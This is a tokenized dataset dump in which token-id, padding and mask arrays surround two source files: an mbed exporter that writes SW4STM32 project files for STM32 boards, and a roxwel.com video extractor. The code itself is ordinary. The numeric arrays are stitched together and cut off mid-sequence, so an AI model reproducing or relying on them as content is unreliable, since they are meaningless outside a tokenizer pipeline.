372, 23997, 1716, 8, 932, 63, 513, 12, 11805, 63, 354, 12, 13943, 12, 5401, 12, 922, 63, 1975, 9, 421, 199, 32, 2683, 14, 10861, 63, 1450, 8, 31613, 63, 1100, 29, 549, 9, 199, 318, 11805, 63, 14695, 8, 1100, 12, 11805, 63, 354, 12, 627, 27584, 12, 1011, 958, 304, 272, 340, 283, 751, 7, 315, 2074, 26, 267, 922, 275, 623, 16448, 8, 751, 29, 958, 459, 751, 1105, 272, 587, 26, 267, 922, 275, 623, 16448, 8, 1069, 29, 1100, 14, 362, 360, 1069, 297, 488, 430, 272, 372, 922, 14, 14695, 8, 10873, 63, 354, 12, 769, 8, 27584, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rgrover/mbed
tools/export/sw4stm32.py
7
5583
""" mbed SDK Copyright (c) 2011-2016 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from exporters import Exporter from os.path import splitext, basename, join from random import randint from tools.utils import mkdir class Sw4STM32(Exporter): NAME = 'Sw4STM32' TOOLCHAIN = 'GCC_ARM' BOARDS = { # 'DISCO_F051R8': {'name': 'STM32F0DISCOVERY', 'mcuId': 'STM32F051R8Tx'}, # 'DISCO_F303VC': {'name': 'STM32F3DISCOVERY', 'mcuId': 'STM32F303VCTx'}, 'DISCO_F334C8': {'name': 'STM32F3348DISCOVERY', 'mcuId': 'STM32F334C8Tx'}, # 'DISCO_F401VC': {'name': 'STM32F401C-DISCO', 'mcuId': 'STM32F401VCTx'}, 'DISCO_F407VG': {'name': 'STM32F4DISCOVERY', 'mcuId': 'STM32F407VGTx'}, 'DISCO_F429ZI': {'name': 'STM32F429I-DISCO', 'mcuId': 'STM32F429ZITx'}, 'DISCO_F746NG': {'name': 'STM32F746G-DISCO', 'mcuId': 'STM32F746NGHx'}, 'DISCO_L053C8': {'name': 'STM32L0538DISCOVERY', 'mcuId': 'STM32L053C8Tx'}, 'DISCO_L476VG': {'name': 'STM32L476G-DISCO', 'mcuId': 'STM32L476VGTx'}, 'DISCO_F469NI': {'name': 'DISCO-F469NI', 'mcuId': 'STM32F469NIHx'}, 'NUCLEO_F030R8': {'name': 'NUCLEO-F030R8', 'mcuId': 'STM32F030R8Tx'}, 'NUCLEO_F070RB': {'name': 'NUCLEO-F070RB', 'mcuId': 'STM32F070RBTx'}, 'NUCLEO_F072RB': {'name': 'NUCLEO-F072RB', 'mcuId': 'STM32F072RBTx'}, 'NUCLEO_F091RC': {'name': 'NUCLEO-F091RC', 'mcuId': 'STM32F091RCTx'}, 'NUCLEO_F103RB': {'name': 'NUCLEO-F103RB', 'mcuId': 'STM32F103RBTx'}, 'NUCLEO_F207ZG': {'name': 'NUCLEO-F207ZG', 'mcuId': 'STM32F207ZGTx'}, 'NUCLEO_F302R8': {'name': 'NUCLEO-F302R8', 'mcuId': 'STM32F302R8Tx'}, 'NUCLEO_F303RE': {'name': 'NUCLEO-F303RE', 'mcuId': 'STM32F303RETx'}, 'NUCLEO_F334R8': {'name': 'NUCLEO-F334R8', 'mcuId': 'STM32F334R8Tx'}, 'NUCLEO_F401RE': {'name': 'NUCLEO-F401RE', 'mcuId': 'STM32F401RETx'}, 'NUCLEO_F429ZI': {'name': 'NUCLEO-F429ZI', 'mcuId': 'STM32F429ZITx'}, 'NUCLEO_F411RE': {'name': 'NUCLEO-F411RE', 'mcuId': 'STM32F411RETx'}, 'NUCLEO_F446RE': {'name': 'NUCLEO-F446RE', 'mcuId': 'STM32F446RETx'}, 'NUCLEO_F446ZE': {'name': 'NUCLEO-F446ZE', 'mcuId': 'STM32F446ZETx'}, 'NUCLEO_L011K4': {'name': 'NUCLEO-L011K4', 'mcuId': 'STM32L011K4Tx'}, 'NUCLEO_L031K6': {'name': 'NUCLEO-L031K6', 'mcuId': 'STM32L031K6Tx'}, 'NUCLEO_L053R8': {'name': 'NUCLEO-L053R8', 'mcuId': 'STM32L053R8Tx'}, 'NUCLEO_L073RZ': {'name': 'NUCLEO-L073RZ', 'mcuId': 'STM32L073RZTx'}, 'NUCLEO_L152RE': {'name': 'NUCLEO-L152RE', 'mcuId': 'STM32L152RETx'}, 'NUCLEO_L432KC': {'name': 'NUCLEO-L432KC', 'mcuId': 'STM32L432KCUx'}, 'NUCLEO_L476RG': {'name': 'NUCLEO-L476RG', 'mcuId': 'STM32L476RGTx'}, 'NUCLEO_F031K6': {'name': 'NUCLEO-F031K6', 'mcuId': 'STM32F031K6Tx'}, 'NUCLEO_F042K6': {'name': 'NUCLEO-F042K6', 'mcuId': 'STM32F042K6Tx'}, 'NUCLEO_F303K8': {'name': 'NUCLEO-F303K8', 'mcuId': 'STM32F303K8Tx'}, 'NUCLEO_F410RB': {'name': 'NUCLEO-F410RB', 'mcuId': 'STM32F410RBTx'}, } TARGETS = BOARDS.keys() def __gen_dir(self, dirname): settings = join(self.inputDir, dirname) mkdir(settings) def __generate_uid(self): return "%0.9u" % randint(0, 999999999) def generate(self): libraries = [] for lib in self.resources.libraries: l, _ = splitext(basename(lib)) libraries.append(l[3:]) ctx = { 'name': self.program_name, 'include_paths': self.resources.inc_dirs, 'linker_script': self.resources.linker_script, 'library_paths': self.resources.lib_dirs, 'object_files': self.resources.objects, 'libraries': libraries, 'symbols': self.get_symbols(), 'board_name': self.BOARDS[self.target.upper()]['name'], 'mcu_name': self.BOARDS[self.target.upper()]['mcuId'], 'debug_config_uid': self.__generate_uid(), 'debug_tool_compiler_uid': self.__generate_uid(), 'debug_tool_compiler_input_uid': self.__generate_uid(), 'release_config_uid': self.__generate_uid(), 'release_tool_compiler_uid': self.__generate_uid(), 'release_tool_compiler_input_uid': self.__generate_uid(), 'uid': self.__generate_uid() } self.__gen_dir('.settings') self.gen_file('sw4stm32_language_settings_commom.tmpl', ctx, '.settings/language.settings.xml') self.gen_file('sw4stm32_project_common.tmpl', ctx, '.project') self.gen_file('sw4stm32_cproject_common.tmpl', ctx, '.cproject')
apache-2.0
[ 624, 199, 3665, 15610, 199, 7384, 334, 67, 9, 7760, 13, 9261, 27155, 23954, 199, 199, 31661, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 13297, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 5556, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 199, 1014, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 199, 5524, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 16832, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 29946, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 9295, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3097, 1298, 1334, 314, 844, 14, 199, 624, 199, 504, 1437, 27568, 492, 7910, 3968, 199, 504, 747, 14, 515, 492, 2249, 7699, 12, 9593, 12, 4263, 199, 504, 2196, 492, 29722, 199, 504, 7249, 14, 1208, 492, 20366, 421, 199, 533, 16666, 20, 16644, 708, 8, 30341, 304, 272, 13637, 275, 283, 10941, 20, 16644, 708, 7, 272, 2296, 2228, 25256, 275, 283, 10566, 63, 12482, 7, 339, 4367, 689, 3177, 275, 469, 267, 327, 283, 6178, 1439, 63, 38, 21101, 50, 24, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 16, 6178, 19052, 57, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 21101, 50, 24, 8052, 2267, 267, 327, 283, 6178, 1439, 63, 38, 11810, 9454, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 19, 6178, 19052, 57, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 11810, 54, 27831, 2267, 267, 283, 6178, 1439, 63, 38, 8425, 35, 24, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 8425, 24, 6178, 19052, 57, 297, 258, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8425, 35, 24, 8052, 2267, 267, 327, 283, 6178, 1439, 63, 38, 8854, 9454, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 8854, 35, 13, 6178, 1439, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8854, 54, 27831, 2267, 267, 283, 6178, 1439, 63, 38, 12641, 29355, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 20, 6178, 19052, 57, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 12641, 29355, 8052, 2267, 267, 283, 6178, 1439, 63, 38, 14372, 58, 41, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 14372, 41, 13, 6178, 1439, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 14372, 58, 649, 88, 2267, 267, 283, 6178, 1439, 63, 38, 17718, 12259, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 17718, 39, 13, 6178, 1439, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 17718, 12259, 40, 88, 2267, 267, 283, 6178, 1439, 63, 44, 20454, 35, 24, 356, 258, 791, 354, 356, 283, 16644, 708, 44, 1717, 1703, 6178, 19052, 57, 297, 258, 283, 5466, 85, 1304, 356, 283, 16644, 708, 44, 20454, 35, 24, 8052, 2267, 267, 283, 6178, 1439, 63, 44, 22351, 29355, 356, 258, 791, 354, 356, 221, 283, 16644, 708, 44, 22351, 39, 13, 6178, 1439, 297, 755, 283, 5466, 85, 1304, 356, 283, 16644, 708, 44, 22351, 29355, 8052, 2267, 267, 283, 6178, 1439, 63, 38, 16112, 16730, 356, 258, 791, 354, 356, 283, 6178, 1439, 13, 38, 16112, 16730, 297, 3322, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 16112, 16730, 40, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 22739, 50, 24, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 22739, 50, 24, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 22739, 50, 24, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 19235, 16567, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 19235, 16567, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 19235, 16567, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 20281, 16567, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 20281, 16567, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 20281, 16567, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 21013, 8205, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 21013, 8205, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 21013, 50, 27831, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8845, 16567, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8845, 16567, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8845, 16567, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 10744, 26074, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 10744, 26074, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 10744, 26074, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8551, 50, 24, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8551, 50, 24, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8551, 50, 24, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 11810, 907, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 11810, 907, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 11810, 7341, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8425, 50, 24, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8425, 50, 24, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8425, 50, 24, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8854, 907, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8854, 907, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8854, 7341, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 14372, 58, 41, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 14372, 58, 41, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 14372, 58, 649, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 25390, 907, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 25390, 907, 297, 3698, 283 ]
[ 199, 3665, 15610, 199, 7384, 334, 67, 9, 7760, 13, 9261, 27155, 23954, 199, 199, 31661, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 13297, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 5556, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 199, 1014, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 199, 5524, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 16832, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 29946, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 9295, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3097, 1298, 1334, 314, 844, 14, 199, 624, 199, 504, 1437, 27568, 492, 7910, 3968, 199, 504, 747, 14, 515, 492, 2249, 7699, 12, 9593, 12, 4263, 199, 504, 2196, 492, 29722, 199, 504, 7249, 14, 1208, 492, 20366, 421, 199, 533, 16666, 20, 16644, 708, 8, 30341, 304, 272, 13637, 275, 283, 10941, 20, 16644, 708, 7, 272, 2296, 2228, 25256, 275, 283, 10566, 63, 12482, 7, 339, 4367, 689, 3177, 275, 469, 267, 327, 283, 6178, 1439, 63, 38, 21101, 50, 24, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 16, 6178, 19052, 57, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 21101, 50, 24, 8052, 2267, 267, 327, 283, 6178, 1439, 63, 38, 11810, 9454, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 19, 6178, 19052, 57, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 11810, 54, 27831, 2267, 267, 283, 6178, 1439, 63, 38, 8425, 35, 24, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 8425, 24, 6178, 19052, 57, 297, 258, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8425, 35, 24, 8052, 2267, 267, 327, 283, 6178, 1439, 63, 38, 8854, 9454, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 8854, 35, 13, 6178, 1439, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8854, 54, 27831, 2267, 267, 283, 6178, 1439, 63, 38, 12641, 29355, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 20, 6178, 19052, 57, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 12641, 29355, 8052, 2267, 267, 283, 6178, 1439, 63, 38, 14372, 58, 41, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 14372, 41, 13, 6178, 1439, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 14372, 58, 649, 88, 2267, 267, 283, 6178, 1439, 63, 38, 17718, 12259, 356, 258, 791, 354, 356, 283, 16644, 708, 38, 17718, 39, 13, 6178, 1439, 297, 263, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 17718, 12259, 40, 88, 2267, 267, 283, 6178, 1439, 63, 44, 20454, 35, 24, 356, 258, 791, 354, 356, 283, 16644, 708, 44, 1717, 1703, 6178, 19052, 57, 297, 258, 283, 5466, 85, 1304, 356, 283, 16644, 708, 44, 20454, 35, 24, 8052, 2267, 267, 283, 6178, 1439, 63, 44, 22351, 29355, 356, 258, 791, 354, 356, 221, 283, 16644, 708, 44, 22351, 39, 13, 6178, 1439, 297, 755, 283, 5466, 85, 1304, 356, 283, 16644, 708, 44, 22351, 29355, 8052, 2267, 267, 283, 6178, 1439, 63, 38, 16112, 16730, 356, 258, 791, 354, 356, 283, 6178, 1439, 13, 38, 16112, 16730, 297, 3322, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 16112, 16730, 40, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 22739, 50, 24, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 22739, 50, 24, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 22739, 50, 24, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 19235, 16567, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 19235, 16567, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 19235, 16567, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 20281, 16567, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 20281, 16567, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 20281, 16567, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 21013, 8205, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 21013, 8205, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 21013, 50, 27831, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8845, 16567, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8845, 16567, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8845, 16567, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 10744, 26074, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 10744, 26074, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 10744, 26074, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8551, 50, 24, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8551, 50, 24, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8551, 50, 24, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 11810, 907, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 11810, 907, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 11810, 7341, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8425, 50, 24, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8425, 50, 24, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8425, 50, 24, 8052, 2267, 267, 283, 1440, 12507, 47, 63, 38, 8854, 907, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 8854, 907, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 8854, 7341, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 14372, 58, 41, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 14372, 58, 41, 297, 3698, 283, 5466, 85, 1304, 356, 283, 16644, 708, 38, 14372, 58, 649, 88, 2267, 267, 283, 1440, 12507, 47, 63, 38, 25390, 907, 356, 259, 791, 354, 356, 283, 1440, 12507, 47, 13, 38, 25390, 907, 297, 3698, 283, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1,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roxwel.py
73
1970
from __future__ import unicode_literals import re from .common import InfoExtractor from ..utils import unified_strdate, determine_ext class RoxwelIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?roxwel\.com/player/(?P<filename>.+?)(\.|\?|$)' _TEST = { 'url': 'http://www.roxwel.com/player/passionpittakeawalklive.html', 'info_dict': { 'id': 'passionpittakeawalklive', 'ext': 'flv', 'title': 'Take A Walk (live)', 'uploader': 'Passion Pit', 'uploader_id': 'passionpit', 'upload_date': '20120928', 'description': 'Passion Pit performs "Take A Walk\" live at The Backyard in Austin, Texas. ', }, 'params': { # rtmp download 'skip_download': True, } } def _real_extract(self, url): mobj = re.match(self._VALID_URL, url) filename = mobj.group('filename') info_url = 'http://www.roxwel.com/api/videos/%s' % filename info = self._download_json(info_url, filename) rtmp_rates = sorted([int(r.replace('flv_', '')) for r in info['media_rates'] if r.startswith('flv_')]) best_rate = rtmp_rates[-1] url_page_url = 'http://roxwel.com/pl_one_time.php?filename=%s&quality=%s' % (filename, best_rate) rtmp_url = self._download_webpage(url_page_url, filename, 'Downloading video url') ext = determine_ext(rtmp_url) if ext == 'f4v': rtmp_url = rtmp_url.replace(filename, 'mp4:%s' % filename) return { 'id': filename, 'title': info['title'], 'url': rtmp_url, 'ext': 'flv', 'description': info['description'], 'thumbnail': info.get('player_image_url') or info.get('image_url_large'), 'uploader': info['artist'], 'uploader_id': info['artistname'], 'upload_date': unified_strdate(info['dbdate']), }
unlicense
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 1208, 492, 25344, 63, 495, 602, 12, 6705, 63, 832, 421, 199, 533, 6848, 88, 87, 352, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 293, 88, 87, 352, 4537, 957, 15, 6147, 9448, 48, 28, 1501, 29587, 10127, 14, 6113, 20910, 4, 3171, 339, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 293, 88, 87, 352, 14, 957, 15, 6147, 15, 15534, 438, 80, 390, 11066, 65, 7757, 6442, 14, 1360, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 15534, 438, 80, 390, 11066, 65, 7757, 6442, 297, 288, 283, 832, 356, 283, 22753, 297, 288, 283, 1213, 356, 283, 27200, 437, 644, 4878, 334, 6442, 3196, 288, 283, 13671, 356, 283, 48, 305, 438, 510, 390, 297, 288, 283, 13671, 63, 344, 356, 283, 15534, 438, 80, 390, 297, 288, 283, 5064, 63, 602, 356, 283, 1797, 11303, 1651, 297, 288, 283, 1802, 356, 283, 48, 305, 438, 510, 390, 18628, 298, 27200, 437, 644, 4878, 4451, 12166, 737, 710, 10257, 89, 1005, 315, 437, 833, 262, 12, 20566, 305, 14, 1656, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 519, 2791, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 789, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 14208, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 9, 267, 1788, 275, 14208, 14, 923, 360, 1501, 358, 267, 2256, 63, 633, 275, 283, 1014, 921, 1544, 14, 293, 88, 87, 352, 14, 957, 15, 1246, 15, 11418, 3149, 83, 7, 450, 1788, 267, 2256, 275, 291, 423, 4249, 63, 1001, 8, 815, 63, 633, 12, 1788, 9, 398, 519, 2791, 63, 17153, 275, 3355, 779, 442, 8, 82, 14, 1814, 360, 22753, 14474, 12381, 367, 519, 315, 2256, 459, 4603, 63, 17153, 418, 340, 519, 14, 2460, 360, 22753, 63, 2023, 267, 5526, 63, 1866, 275, 519, 2791, 63, 17153, 1988, 17, 61, 267, 1166, 63, 1606, 63, 633, 275, 283, 1014, 921, 293, 88, 87, 352, 14, 957, 15, 1168, 63, 368, 63, 521, 14, 8624, 31, 1501, 2458, 83, 6, 9161, 2458, 83, 7, 450, 334, 1501, 12, 5526, 63, 1866, 9, 267, 519, 2791, 63, 633, 275, 291, 423, 4249, 63, 12022, 8, 633, 63, 1606, 63, 633, 12, 1788, 12, 283, 18085, 3991, 1166, 358, 267, 1599, 275, 6705, 63, 832, 8, 29649, 63, 633, 9, 267, 340, 1599, 508, 283, 70, 20, 86, 356, 288, 519, 2791, 63, 633, 275, 519, 2791, 63, 633, 14, 1814, 8, 1501, 12, 283, 311, 20, 2689, 83, 7, 450, 1788, 9, 398, 372, 469, 288, 283, 344, 356, 1788, 12, 288, 283, 1213, 356, 2256, 459, 1213, 995, 288, 283, 633, 356, 519, 2791, 63, 633, 12, 288, 283, 832, 356, 283, 22753, 297, 288, 283, 1802, 356, 2256, 459, 1802, 995, 288, 283, 8311, 356, 2256, 14, 362, 360, 6147, 63, 1569, 63, 633, 358, 503, 2256, 14, 362, 360, 1569, 63, 633, 63, 9629, 659, 288, 283, 13671, 356, 2256, 459, 11215, 995, 288, 283, 13671, 63, 344, 356, 2256, 459, 11215, 354, 995, 288, 283, 5064, 63, 602, 356, 25344, 63, 495, 602, 8, 815, 459, 697, 602, 3815, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 